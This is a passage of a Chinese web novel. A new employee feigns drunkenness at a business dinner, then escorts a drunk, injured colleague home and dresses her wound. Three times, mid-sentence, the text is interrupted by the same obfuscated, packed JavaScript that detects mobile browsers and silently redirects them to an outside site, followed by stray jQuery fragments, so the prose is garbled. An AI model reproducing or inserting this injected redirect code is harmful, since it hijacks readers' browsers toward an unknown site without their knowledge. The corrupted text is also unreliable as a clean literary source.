有一瞬间,他真的挺想这么做。欣赏漂亮异性是人的天性,陈柯杨也不能免俗,只是理智在提醒他,这个女人不行,她是来自地狱的女神赫卡忒,会将人一步步诱骗入深渊。
“姐姐。”他轻轻唤了一声。
“嗯?”
“你学的是什么专业?”
秦雨寺抬了下眼,语气中带着疑惑:“油画,怎么了?”
陈柯杨脸上的笑意一点点扩散:“我就是好奇,你怎么能把照顾人的事儿做得这么专业?沈总平时肯定没少栽培你吧。”
即使秦雨寺的中文达不到母语水平,也听出了他话里的阴阳怪气。她停下手上的动作,目光锐利地盯向陈柯杨:“你对我有什么意见吗?”
“怎么会?你知道吗,互联网好像会读心术,自从面试那天起,我每天上网都能刷到夸你的帖子。”
秦雨寺怎么会听不懂弦外之音?网上那些“称赞”她手腕高明的言论,她心里明镜似的。
一时间,羞辱感像潮水般翻涌而来,她脸色忽红忽白,连声音都拔高了几分:“既然你加入了合光科技,就不该把个人情绪带到工作中来,我和沈总也不是你臆想的那种关系。”
陈柯杨挑眉,一副被冤枉的无辜表情:“姐姐,你这话是什么意思?”
说着,他掏出手机,转了一篇文章给她:“你看,这是我今早刷到的文章。”
秦雨寺狐疑地点开链接,发现这是一个月前行业媒体为她攥写的采访稿,通篇读下来,确实都是夸赞之词。
“文章里写了,沈总是你人生的伯乐,我想学习一下如何才能得到伯乐的赏识,你想到哪儿去了?”
陈柯杨脸上挂着人畜无害的笑:“你觉得,我会认为你和沈总是什么关系?”
“普通同事关系!”秦雨寺撇过头去,像是懒得浪费心神跟他纠缠。
“你不想说也没关系,反正沈总已经亲自指点过了,等晚上碰到有实力的女老板,看我怎么把握机会。”
陈柯杨踱步到镜子前,理了理董事长助理亲手为他系的领带,接着批上西装外套,还顺手抓了抓头发。
“不过呢,我的酒量到底是什么水平,连我自己都没底儿,万一真是‘一杯倒’,就只能靠你顶上了。”说罢,他猛地回头,绽放出一个灿烂得近乎刺眼的笑容。
秦雨寺掀了一下眼皮,似乎有无数脏话在脑海中翻腾,但最终,出于职场人的基本修养,还是硬生生憋了回去。
*
今晚的饭局设在林淮市地标性建筑“振江明珠”顶层的五星级酒店。宴请的贵客是高端护肤品牌Venus的老总梅亚楠,与她一同前来的还有几位重要商业伙伴。
梅总今年46岁,离异独居,因为身处美容行业且财力雄厚,皮肤保养得相当水嫩,看起来也就30出头。
说起梅亚楠这个人,圈内人脑海中冒出来的,除了雷厉风行的女强人形象外,便是她的两大爱好:
一是爱喝酒,红的白的来者不拒,只要在酒桌上喝到尽兴,谈生意就能事半功倍。
二是好美色,离婚十年间,光是明面上交往的男友就有7个,平均年龄不超过25岁,被人戏称“鲜肉收割机”。
她带来的四位姐妹,在爱好方面跟她如出一辙。此番前来,除了谈项目,还惦记着见识一下商界出了名的优质美男沈让。
为表诚意,沈让提前带人抵达包间,还将珍藏二十多年的茅子摆了出来。
不多时,梅亚楠和她的贵妇团也到了,五朵金花气场全开,一进门就拉着沈让的手寒暄个不停。
沈让是个交际老手,恭维话信手拈来:“您这气色,看起来越来越年轻了。”“皮肤嫩得跟剥了壳的鸡蛋似的。”“人美就算了,事业还这么成功,真招人记恨。”
这一通夸赞,把几位老板哄得花枝乱颤。
这时候,已经有几道目光瞥向了角落里默默喝茶的陈柯杨。沈让早就摸清了她们的喜好,见火候差不多了,便主动提议:“我给大家介绍一下。”
他先指向左手边:“这位是我的助理Daria,梅总之前见过,有我的地方就有她,往后遇到什么事,找她就等于找我。”
秦雨寺逆天的美貌在一众保养得当的女人中依旧十分惹眼。为此,她特意穿了套简洁的工作装,化着几乎看不出的素颜妆,言谈举止既不过分热情,也不至于冷漠疏离,主打一个降低存在感。
另外两位商务负责人只做了简短介绍,接下来就是今晚的“正菜”。
沈让用力拍了拍陈柯杨的肩膀,连情绪都高涨了几分:“这位是我们公司的新人Chris,普林斯顿大学研究生,刚满24岁,人很聪明,是我的重点培养对象。梅总,往后业务上还得照应照应啊。”
“哪里话,咱们什么交情,还用得着这么客气。”梅亚楠笑得春光满面,两只眼睛一刻都不舍得从陈柯杨身上挪开,这高高帅帅的小伙子,真是招人喜欢。
陈柯杨很识趣地起身,朝在座的女士们鞠了一躬:“今后还请各位老板多多关照。”
虽然动作有点突兀,但就是这份青涩老实,把姐姐们哄得心花怒放。
梅亚楠将他按回座位上,爽利地说:“叫什么老板?多见外啊。既然坐到一桌了,都是朋友,叫我梅姐就行。”
陈柯杨下意识地看了一眼沈让,似乎在询问这样称呼会不会太没规矩了。
沈让挥了挥手,像个开明的大家长:“不用见外,梅总让你叫什么就叫什么。”
“好的梅姐,您多关照。”陈柯杨乖巧地点了点头。
“小伙子,可真懂事嘞。”
梅亚楠笑得合不拢嘴,下一秒就用丰腴的手掌在他大腿上重重拍了一下。
陈柯杨的笑容瞬间凝固,而后缓缓将头拧向另一边,嘴唇微动,用口型一字一顿地向秦雨寺控诉:“她——摸——我——”
秦雨寺的眼神倏地冷了几分,低声回他:“你靠过来一点。”
陈柯杨像是找到了避风港,也不管周围的目光,直接将凳子往左边挪了一尺。凳腿在瓷砖上摩擦,发出刺耳的“嘎吱”声,听得梅亚楠和沈让的脸皮同时抽了一下。
客人到齐后,桌上的菜也上得差不多了,服务员端来分酒器,为每个人斟上了香醇的陈年佳酿。
陈柯杨拿起酒杯嗅了一下,随即拧紧眉头,凑到秦雨寺耳边小声说:“怎么是白酒?这玩意儿多呛人了,我喝不下去。”
“你意思意思就行,浅浅抿一口,别喝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363430|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得太急。”
此时,沈让已经说完了客套话,举起酒杯向在座各位敬酒。梅亚楠和她的几个姐妹都是海量,直接仰脖一饮而尽,可谓相当豪爽。
陈柯杨谨记秦雨寺的叮嘱,小心将嘴唇贴近杯沿,刚试探地抿了一小口,马上被辣得咂舌头:“嘶~真的好辣~”
梅亚楠本来笑呵呵的,见他这副模样,立马沉下脸来:“小伙子,你怎么还没我们几个女人爽快?不给面子是吧?来,这杯酒必须干了,不然咱们的生意怕是没法谈下去了。”
陈柯杨紧握酒杯,可怜巴巴地望向秦雨寺,像只举足无措的小狗。
秦雨寺隐隐有些担忧,正要开口替他解围,没想到这小子突然端起酒杯,愣头青似地说:“那......那我就干了,敬梅总、张总、王总、李总、钱总,祝咱们合作顺利,一路长虹。”
语罢,仰头将满杯五十二度的白酒一饮而尽。
“好样的!”
梅总立刻眉开眼笑,带头鼓掌叫好,其他人也纷纷起哄助威,场面一下子就热闹起来了。
陈柯杨放下酒杯,五官因烈酒烧喉痛苦地拧在一起。
“姐姐,我有点难受。”他凑近秦雨寺耳边,用气声悄悄说。
秦雨寺赶紧给他倒了杯柠檬水:“一杯都不行吗?你先喝口水压一压。”
“头......头有点晕,不好意思,我的酒量可能确实不太行,咳咳咳......”
“你......没事吧?”
秦雨寺也是头回碰到这种情况,愣了片刻才提议道:“要不要出去透透气?”
“我再坚持一下,不能耽误你们谈生意。”他强撑着坐直身子,说话时眼角竟不自觉地泛起泪花,看起来整个人都快要碎掉了。
秦雨寺连忙用公筷给他夹了块羊排:“快吃点东西压压,一会儿千万别再逞强了。”
“嗯,知道了,谢谢姐姐。”
两人说话的工夫,沈让已经陪客人喝过一轮了。这时,梅亚楠再次将酒杯举向陈柯杨,语气半嗔半笑:“弟弟,你刚才的表现可不好,得受罚,再陪我们喝一轮。”
“梅总,我......”
“小伙子不爽快,喝几杯酒都这么磨叽,让沈总以后怎么栽培你?”
合光科技和梅亚楠的合作已经拉扯了三个月,如今只差临门一脚,沈让不想在这个节骨眼上出岔子,于是笑着添了把火:“Chris,你在美国的时候不是经常泡吧吗?怎么洋酒能喝,咱们中国的白酒就不行了?”
梅亚楠听了,笑得前仰后合:“沈老板把你的老底都兜出来了,就别再扭扭捏捏了,姐姐一看你就是个能成事的。”
其他人立刻跟着起哄:“对啊,男人不能说不行!姐姐今天就是扶着你,也得把正事给办了!”
一时间,包间里哄笑声四起。陈柯杨的脸色愈发苍白,连捏着酒杯的手指都因紧张和抗拒而微微颤抖。
沉默半晌,他像是下定了决心,低声和秦雨寺商量:“姐姐,要不我再喝一杯吧。”
秦雨寺轻轻拍了下他的手背,随后在一片喧嚣中缓缓开口:“Chris酒精过敏,喝不了太多。他的那份,由我来代敬各位吧。”
话音一落,包括沈让在内的所有人都愣了一下。
其实梅亚楠早就注意到了两人私下的小动作,心里颇为不悦。她混到如今这个位置,早就习惯了凡事以自我为中心。酒桌上图的就是个尽兴,来了又不喝,这不是耍她玩吗?
她也知道秦雨寺和沈让关系暧昧,此刻不便撕破脸皮,但话语里还是明显带了尖刺:“Daria,本来今天你就该陪我们喝几轮,现在沈总胃病,Chris又过敏,三份都要你来扛,我怕你挺不住啊。”
8. 接任务
梅亚楠话音刚落,其他几个女人纷纷附和:“Daria小姐,我们知道你是女强人,但也不必事事争先,总得给年轻人留点表现的机会。”
其中一位老板对秦雨寺印象还不错,见气氛略显尴尬,便主动出来打圆场:“别忘了,Daria可是俄罗斯人,真论起酒量,咱们几个加起来都未必是她的对手。”
秦雨寺抿唇浅笑:“俄罗斯人也比不得各位女中豪杰。这样吧,我先为大家助助兴,实在不行了,再让Chris顶上。”
虽然在座都是奔着帅哥来的,但秦雨寺这种级别的绝色美人,某种程度上足以男女通杀。既然她主动开口,众人也没什么异议,欢笑声和碰杯声再次响起,包厢又重新热闹起来。
梅亚楠是见过大世面的女人,倒不至于为这点小事事斤斤计较,就算心有不快,也会在酒桌上发泄干净——作为成功女性的代表,她觉得自己有必要给秦雨寺上一课,让她知道什么叫‘天高地厚’。
她递了个眼神,其他女人立刻心领神会,纷纷向秦雨寺凑了过去。
她们围成一圈,手里的酒盅如海浪般此起彼伏,一轮接着一轮,丝毫不给人喘息的空档。此番架势,连两位酒量可观的商务负责人都看得心惊胆战,暗自咋舌。
秦雨寺身处风暴中心,却始终挂着淡定的笑容,纤细的手指捏着白瓷酒盅,优雅地喝下一杯又一杯。
要不是还在装醉,陈柯杨真想站起来为她鼓鼓掌——毛妹牛啊!果然老板身边不养闲人,有事她真上啊!
可惜,架势十足的秦小姐也并非千杯不倒。
喝到第三轮时,她雪白的脸颊泛起淡淡红晕,棕色的眸子渐渐迷蒙,好似笼上了一层山间薄雾。再接着,她的眼皮越来越沉重,上下睫毛开始不自觉地打起架来。
陈柯杨偷偷抬起脑袋观察:她已经在强撑了,但酒品不错,没有撒泼打滚说疯话,还在努力维持冰山雪莲的高冷人设。
这种人啊,真要倒下,连叫救护车都来不及,何必把自己逼到这个份上?
不过她的护花使者就在旁边,真到了那一步,亲亲抱抱,顺手推舟,岂不是正中下怀?
陈柯杨像个置身事外的看客,冷眼旁观这出闹剧,内心毫无愧疚之意。
小毛妹多少有点倔脾气,明明脚下已经发飘,手臂却像装了发条似的,机械地抬起落下,不断应付着众人递来的酒杯。
眼看她真快撑不住了,嘈杂的包间里突然响起一道低沉的男声:“各位,放过Daria吧。”
众人先是一愣,随即停下手上的动作,目光齐刷刷地望向声源。
只见沈让疏懒地靠着椅背,一手端着茶杯,一手盘着佛珠,笑得十分和煦:“她明早还得陪我出席论坛,宿醉可就麻烦了。”
接着,又玩笑似的补了一句:“Daria是我的左膀右臂,没了她我就等于自废武功,变成废人了。”
“哎呀,沈老板这是说的什么话。”梅亚楠笑着放下了酒杯。
沈让想要维护自己的情人,她可以理解,但姐几个才喝到兴头上,脸都没红透呢,突然叫停算怎么回事啊?
想到这里,她又将目光投向了陈柯杨——之前不是说好,秦雨寺倒下就让这小子顶上吗?
陈柯杨才不愿意为毛妹的鬼话买单呢。
一开始,他还真以为俄罗斯人都有千杯不倒的海量呢,结果就这?就这!
既然女人靠不住,他干脆双手抱头,顺势往桌面上一趴,假装醉晕了过去。
沈让余光一瞥,见他这副死猪不怕开水烫的样子,下颚不自觉地绷紧几分,估计后糟牙都快咬碎了。
“沈老板,您倒是给句痛快话,这酒还能不能喝了?”梅亚楠挑了挑眉,分明是看热闹不嫌事大。
沈让很快便收敛情绪,抬手示意右手边的两位男士:“别忘了,咱们今晚的酒局是5V5,王经理和冯经理可都还没上场呢。”
王经理和冯经理都是酒桌上的常客,三十出头的年纪,长得也算周正,可惜在今晚这场“卡颜局”上,他俩的风头完全被陈柯杨和沈让抢去了。
两人都背着业绩压力,干坐着能不着急吗?现在可算被老板点名了,赶忙起身,熟络地敬酒。
几个女人酒意正酣,眼波流转间连光影都柔和了几分,也不似先前那般挑剔,直接揽过男人的胳膊,乐呵呵地开启了下半场酒局。
沈让这才松了口气,目光一扫,落在撑着桌沿勉强坐稳的秦雨寺身上,心里顿时涌起一阵不满:她在搞什么?今晚的安排不是早就商量好了?突然逞什么威风?再说了,姓陈那小子明明屁事没有。
想到这里,他在桌子底下狠狠踢了陈柯杨一脚。
“哎哟,沈总,疼疼疼!”陈柯杨像是宿醉初醒,一边揉着小腿,一边扯着沙哑的嗓子嘟囔起来。
沈让从秦雨寺包里摸出一串钥匙,眼皮都没抬,直接往他身上一丢:“你先把Daria送回去。”
陈柯杨瞥了眼钥匙上的奔驰车标,顿时面露难色:“沈总,我刚喝了酒,开不了车啊。”
“你不会叫代驾?这还用我教。”沈让脸色明显不悦。
“我的意思是,我现在头晕得厉害,恐怕完成不了这么艰巨的护送任务。”
“行了,别装了,你以为自己的演技很好?”
沈让双臂抱胸,眉尾斜挑,显然早就看穿了他的心思:“你那点三脚猫的招数,想骗我还嫩了点儿。”
听了这话,陈柯杨眨巴两下眼睛,刚刚还迷糊着的眸子瞬间清亮起来。下一秒,他就换上了嬉皮笑脸的表情:“沈总,您别生气,我妈妈说了,男孩子在外面一定要保护好自己。”
沈让气得眉毛都快拧成麻花了,但在众目睽睽之下,只能强压怒火:“我得留下陪客人,你赶紧把她送回去,姑娘家家醉成这样,在外头不安全。”
陈柯杨暗暗翻了个白眼:跟我有什么关系?我巴不得她出点事呢。嘴上却忙不迭地应承:“既然沈总吩咐了,那就放心交给我吧。”
说着,他伸出手臂,很自然地扶住了秦雨寺。
毛妹醉得不轻,刚一起身,双腿就软得像面条,整个人直往前栽。要不是陈柯杨眼疾手快托了她一把,保不齐这张漂亮的脸蛋就开花见血了。
沈让瞧见两人的举止过于亲密,不自觉地压低眉头,嘴唇微动,似乎欲言又止。
“沈总您就放心吧。”
都说男人最懂男人,陈柯杨又怎么会看不出沈让的心思?他扶着秦雨寺,笑着保证:“我是正人君子,绝不会对秦小姐做什么出格的事。”
沈让不好再说什么了,只能板着脸,极不情愿地点了下头。
*
两人下了楼,陈柯杨懒得叫什么代驾,直接在路边拦了辆出租车,像搬行李似的将秦雨寺塞进后座。
“喂,你还记得自己住哪不?”他侧身问道。
秦雨寺双眼微微阖着,身子软绵绵地靠在座椅上,半晌都没有反应。若不是鼻翼间尚有一丝温热的气息,陈柯杨都怕她噶在自己手里。
阿弥陀佛,罪过罪过——
“师傅,洛北
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363431|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
区长阳街45号,你先往那个方向开吧。”
陈柯杨不知道她家的具体地址,但也无妨,大不了把她扔到沈让的别墅门口,也算做个顺水人情。
“小伙子,那一片是富人区吧,我记得附近有不少高档酒店。”司机师傅冷不丁地冒出一句。
“好像是吧,怎么了?”陈柯杨被他没头没脑的话弄得一愣。
“你这姑娘是从酒吧带出来的吧?陪你喝两杯就不省人事了吧?这种事大叔见多了,小心仙人跳。”
司机见陈柯杨穿得光鲜亮丽,下意识地把他当成了午夜猎艳的公子哥,脑海中自动播放活色生香的画面,语气也不由轻佻起来。
陈柯杨淡淡一笑:“看来大叔也是个有故事的男人。”
其实他平日最厌恶这种满脑子生/殖/器的油腻男,但此刻,想到秦雨寺和沈让狼狈为奸的嘴脸,顿时觉得,大叔也就是打打嘴炮,算不上多恶心。
念及那对奸夫银妇,陈柯杨胸中恶气翻涌,一把钳住秦雨寺的下巴,发狠道:“想坑我,也得掂量掂量自己的本事,别到头来赔了夫人又折兵。”
话音未落,靠在他身上的女人突然动了动,含糊不清地嘀咕:“嗯......赔了什么夫人?”
秦雨寺费力地撑开眼皮,盯着陈柯杨的脸看了半天,终于勉强认出来:“嘶——你是那个陈......陈什么来着......”
陈柯杨怕她误会自己趁火打劫,赶紧把她的身子往旁边推了推。
“这是要去哪?回家吗?”秦雨寺望着窗外的街景发了会儿呆,似乎在努力拼凑断片的记忆。
陈柯杨略带不耐烦地回答:“对啊,这么晚了还能去哪?”
“可是......你知道我家在哪吗?”秦雨寺转过头,深邃的眸子里写满了迷茫。
“你和沈老板关系那么亲密,他家不就是你家?”
陈柯杨从鼻腔里挤出一声冷哼。反正这个女人醉得神志不清,他也不必再装傻不拉几的书呆子了。
“你胡说些什么啊?”
秦雨寺被酒精折磨得头晕脑胀,缓了半天才对前排司机说:“师傅,送我到长阳街49号......嗯......御......御庭花园。”
“姑娘你说啥?你是外国人吧,我咋一句都听不懂?”司机扯着嗓门大声问。
秦雨寺平时普通话说得还算利索,但今天喝得太多,语言系统直接宕机,一开口满嘴的俄国腔,连弹舌音都蹦出来了。
陈柯杨扶住她东倒西歪的身子,顺嘴应了句:“你说得对,她就是个老外。”
司机师傅立马竖起大拇指:“我说呢,高鼻子大眼睛的,挺带劲儿。”
两人都没听清秦雨寺说的地址,猜测了半天,大概率是长阳街上的高档小区御庭花园,步行到沈让的别墅只要十分钟。
呵,你们还真是如胶似漆,干脆搬一块同居算了,也省得这样折腾别人。
秦雨寺踩着一双7公分的细跟高跟鞋,刚一下车腿就软了。高挑的身子像被抽了筋,毫无预兆地朝地面倒去。
陈柯杨眼疾手快,一把揽住了她纤细的腰肢。
林淮的初冬,天气微凉,风却很温柔。朦胧的月光下,秦雨寺的发丝轻柔飞舞,琥珀色的眸子含着几分醉意,宛如画中走出来的美人。
她真的很美很美,恐怕这世上没有哪个男人能抵挡这般极致的视觉诱惑——
可惜,这副绝世皮囊下藏着一颗无比歹毒的心。
她伤害了池婉月,这笔账总归是要还的。
9. 真好笑
陈柯杨不知道秦雨寺的具体住址,秦雨寺又晕晕沉沉辨不清方向。两人在小区里兜兜转转,愣是耗了快半个小时,才找到她居住的23号楼。
御庭花园是建成不到三年的高端小区,安保措施相当到位,陈柯杨觉得把人送到这里应该就安全了。
“我就送到这儿了,你自己上去吧。”
秦雨寺顺从地点了点头。陈柯杨随即松开一直搀扶着她的手,结果下一秒,这女人就像断了线的木偶,身子一软,直直倒了下去。
“嘶——”她低低地痛呼了一声。
“喂,你没事吧!”陈柯杨吓了一跳,连忙蹲下身查看:“磕到哪儿了?让我看看。”
秦雨寺原本束起的长发已经散了,透过垂落在脸侧的发丝,隐约看到她的眉头紧紧蹙着,雪白的贝齿死死咬住下唇,像是在忍受巨大的痛苦。
陈柯杨的目光顺势下移,发现她膝盖下方正好磕到了台阶棱角上,皮肤破了一大片。这个部位几乎没有肌肉和脂肪的保护,如此重重一磕,不疼才怪了。
“你能站起来吗?我扶你上去。”
“嗯,没事儿。”
吃痛之下,秦雨寺脑袋清醒了不少,但两条腿却像被抽了筋一样,稍微用力就酸软得厉害。她咬着牙试了几次,怎么也起不来。
陈柯杨并非铁石心肠之人,虽然这位秦小姐罪孽深重,但他还不至于那么没品,深更半夜把一个醉酒又受伤的女人丢在外面自生自灭。
“我抱你吧。”
还没等秦雨寺反应,他已经闪身上前,一只手稳稳扣住她的肩膀,另一只手从膝盖下方穿过,手臂发力,直接将她横抱了起来。
一瞬间,陌生又带着些许混乱的气息,在年轻男女之间荡漾开来。
秦雨寺轻呼一声,在腾空的瞬间本能地抓住了他的衣领:“你干什么?”
“你喝醉了,我送你回去。”
陈柯杨将怀里的人抱得更紧些,随后迈着大步走进公寓大厅。
此时,一对小情侣正好在等电梯,目光不自觉地就被这对姿势暧昧的男女吸引了。
秦雨寺羞得将脸埋进了陈柯杨的胸口,陈柯杨则不动声色地帮她整理了一下短裙。
走进电梯间,陈柯杨问了一句:“你住几楼?”
“17楼。”秦雨寺瓮声瓮气地回答。
高档小区的电梯间非常宽敞,小情侣中的女孩缩在角落里,用极小的声音嘀咕了一句:“17楼,不是那个谁吗?”
男孩用更小的声音回道:“沈让的情妇啊。”
女孩眼皮一抬,眼睛里闪烁着兴奋的光芒:“妈呀,撞上大瓜了。”
陈柯杨耳朵动了动,心想:你们倒是赶紧拿手机拍下来啊,回头卖给狗仔,让这个水性杨花的女人身败名裂。
“Chris......那个......”秦雨寺又急又窘,伸手扯了扯他的衣角。
陈柯杨差点没忍住笑,嘴角一抽,又装模作样起来:“姐姐,跟你说过多少回了,别总是毛手毛脚的,多大人了还能摔成这样。”
说着,他特意转了个身,将秦雨寺腿上还在渗血的伤口展示给小情侣看。
两个年轻人也不傻,意识到悄悄话被当事人听去了,立马识趣地闭了嘴,等电梯门一开,就灰溜溜地跑开了。
陈柯杨无奈地叹了口气,虽然巴不得秦雨寺身败名裂,但作为润池集团即将上位的负责人,他可不想被贴上“小三”的标签。
*
秦雨寺的房子南北通透,一进门就是镶着巨大落地窗的宽敞客厅。房间以黑白色调为主,棚顶悬挂着雅致的乳白色吊灯,脚下是深褐色的实木地板。
环顾四周,客厅里只有一台投影仪,一张黑色的长条沙发和一块纯白色的地毯。由于布置得非常简单,愈发显得空间格外开阔。
“我能进去吗?”陈柯杨很有分寸地问。
“嗯,柜子里面有一次性拖鞋。”
进门后,陈柯杨发现她的房间异常整洁,整屋通铺的深色地板光亮照人,完全可以用一尘不染来形容。再往里看,就连最容易藏污纳垢的厨房都光洁如新,仿佛从来没使用过。
陈柯杨暗自嘀咕:“这女人八成有洁癖,不过洋人本来就不爱开火做饭,倒也说得过去。”
秦雨寺换好拖鞋后,没有坐到沙发上休息,而是踉踉跄跄地“蹦”到厨房,打开冰箱,从一堆速食品中抽出一盒牛奶,递给陈柯杨:“稍微喝点,能解酒。”
“哦,谢谢。”陈柯杨没想到,看起来冷冰冰的毛妹居然也有体贴的一面,于是很给面子地拧开瓶盖,喝了一口。
嗯——怎么说呢,他是个长着中国胃的中国人,在这微寒的天气里,喝上一口冰牛奶,真挺刺激。
毛妹的做派就精致多了。她从橱柜里取出一只晶莹剔透的水晶杯,慢慢将牛奶倒进去,然后随后端起杯子,细细抿了一口。几乎是一瞬间,她紧绷的眉头终于舒展了开来。
OK,陈柯杨对老外的生活习惯不予置评,但俄罗斯人也是血肉之躯,总不至于流了这么多血,伤口都不用处理吧?
“你家有碘酒吗?我帮你清理一下伤口。”
“碘酒?”秦雨寺转过头,圆圆的眼睛里闪过一丝困惑,似乎脑海里的中文词库不足以理解这两个字的含义,但陈柯杨提到了“伤口”,她便依据推测,将目光投向了冰箱上的医药箱。
“不用麻烦了,我自己来就好。”
话音刚落,陈柯杨已经伸手将医药箱取了下来:“我干这个可是专业的,要是不想明天一瘸一拐地去上班,最好接受我的帮助。”
秦雨寺眉眼低垂,显然不太认同:“涂点药膏而已,还需要怎么专业......”
“你过来就知道了,我还能残害国际友人不成?”说话间,他已经打开医药箱,熟练地鼓弄起来。
秦雨寺犹豫片刻,最终还是妥协了。
随着她一步步靠近,空气中飘来一股淡淡的木质香,与香气同来的,还有她略带不满的情绪:“都跟你说过了,我是中国人。”
“是吗?看着不像啊。”
陈柯杨回忆起来,酒吧初遇的那个夜晚,她确实这么说过。可她分明了长了一张洋人脸,说是中国人也太违和了。
“我爸爸是中国人,我成年以后也入了中国籍。”秦雨寺解释道。
“不过你这中文......”陈柯杨忍不住吐槽,虽然她平时讲普通话挺标准的,但喝完酒后,那股子俄腔实在是太冲了。
“我初二才来中国上学,读的又是国际学校,中文是这几年才开始认真学的。”
考虑到中文的地狱难度,能在几年内学到这种程度,已经很了不起了。但沈让为什么要找一个母语非中文的人做助理呢?
传闻秦雨寺家境普通,是沈让一路资助她完成学业,又为她安排工作,生活上也照顾有加。
面对这样成熟稳重又帅气多金的男人,年轻女孩抵不住诱惑也是人之常情......
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363432|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
秦雨寺不再提以前的事了,她垂下头,慢慢卷起裤脚,露出一截羊脂白玉般的小腿。膝盖以下,大片的伤口触目惊心,周围一圈青紫,中间是刺目的鲜红,尚未凝固的血珠还在慢慢渗出。
陈柯杨下意识地咧了咧嘴。这女人看着没有二两肉,怎么摔一跤能把自己伤得这么惨烈。
他拧着药水瓶盖,友情提醒道:“伤口这么深,可能会有点疼。”
秦雨寺闷声闷气地嘀咕:“要不别涂了,反正它自己也能长好。”
“......”
陈柯杨停下动作,眼中闪过一丝戏谑:“你怕疼啊?”
“嗯!”这女人竟认真点了下头,诚实得很嘞。
“哦,那你坚强点。”陈柯杨不给她反应的时间,大手稳稳扣住她的脚踝,将她修长白皙的小腿架到自己膝上,然后迅速用生理盐水冲洗伤口附近的灰尘。
“嘶——”秦雨寺忍不住倒吸了一口凉气。
“很疼吗?”他嘴上关切,手上的力道却丝毫不减,不给她任何逃脱的机会。
“唔,有点。”
“有点?那是心理作用。”
他轻声一笑,手上动作不停,依次将碘酒和消炎药膏涂抹在伤口上,再扯过纱布,绕着她的小腿仔细缠了两圈。
处理完毕后,他认真叮嘱道:“今晚就别洗澡了,免得伤口感染,可以用湿毛巾擦擦身子。”
见秦雨寺不说话,他又忍不住调侃:“怎么,这也需要我帮忙?”
秦雨寺将包扎好的腿轻轻放回地上,又用纤细的手指整理了一下鬓角的碎发。或许是酒意未消,她的脸颊上还染着一层淡淡的红晕。
“当然不用。”她垂着头,语气有点别扭。
“开玩笑的,我还能占你便宜不成?”
收好医药箱后,陈柯杨站起来环顾一圈,没看出自己还能做点什么,便礼貌关心道:“你明天还能正常上班吗?”
“嗯。”秦雨寺简短地应了一声。
“行,那我走了,明天见。”陈柯杨微微松了口气。
秦雨寺周身散发着一种拒人千里的气场,跟她单独相处时,总有种误入禁区的不安感。陈柯杨出身豪门,从来都是被朋友簇拥的中心人物,实在不知道怎么跟这种冷淡的人打交道。
算了,还是溜之大吉吧。
正准备换鞋离开时,身后忽然传来秦雨寺轻轻的呼唤:“Chris.”
“怎么了?”他停下动作,回头望向客厅。
几秒钟的沉默后,秦雨寺抬起那双水波荡漾的眸子,缓缓开口:“今晚,我很抱歉。”
“抱歉什么?”陈柯杨不懂,明明是自己害她受伤,为什么反倒是她来道歉?
“你来合光科技应聘的是秘书岗位,我没有资格要求你参加这种酒局。很抱歉,不会再有下次了。”
“哦——你说这个啊。”
陈柯杨不知道她是良心发现还是故作好人,反正自己没吃亏,索性就坡下驴,摆出一副大度的模样:“别这么说呀,我觉得今晚挺有意思的,年轻人就该多结交朋友,多个朋友多条路嘛。”
他双臂抱胸,靠在门框上,忽然换了一副冷峻的表情:“你的本职工作也不是陪酒吧?为什么沈让总是把你推到最前面?他有向你道过歉吗?”
秦雨寺脸上的表情晦暗不明,嘴唇微动,似乎想要解释什么,但陈柯杨没有给她这个机会。
他撂下一句"明天见",便转身大步离开了。
10. 非善茬
第二天早上,陈柯杨换了套崭新的工作装,精神抖擞地走进办公室,立刻引来了几位女同事的目光。
——Chris,听说你昨天刚入职就出去见客户了,看来沈总很信任你嘛。
——昨晚肯定喝了不少酒吧?我带了自己熬的养胃汤,要不要尝尝看?
——中午还是跟我们一起去食堂吧,听说今天换了新菜单。
陈柯杨礼貌地笑了笑,婉拒道:“哎呀,昨晚吃得太丰盛了,今天得稍微节制一下。”
实际上,他对饮食的要求极为苛刻,平常基本只吃顶级餐厅和私家大厨精心烹饪的佳肴,就算偶尔亲自下厨,也要讲究色香味形俱全。
对他而言,昨天那顿油腻的食堂餐,简直就是味蕾的噩梦,就算饿到前胸贴后背,也绝不想再尝试了。
一旁的中年女同事语重心长地劝道:“不吃饭哪行啊,年轻的时候不爱惜身体,等岁数大了,后悔都来不及。”
另一个看起来刚出校门的小姑娘,红着脸提议:“对呀,你长得人高马大,一定要好好吃饭,要不咱们去吃日料吧,我请客。”
唉,人缘太好也是种甜蜜的负担。
陈柯杨无奈地苦笑,琢磨着如何在不伤害同事感情的前提下,保护好自己的肠胃。
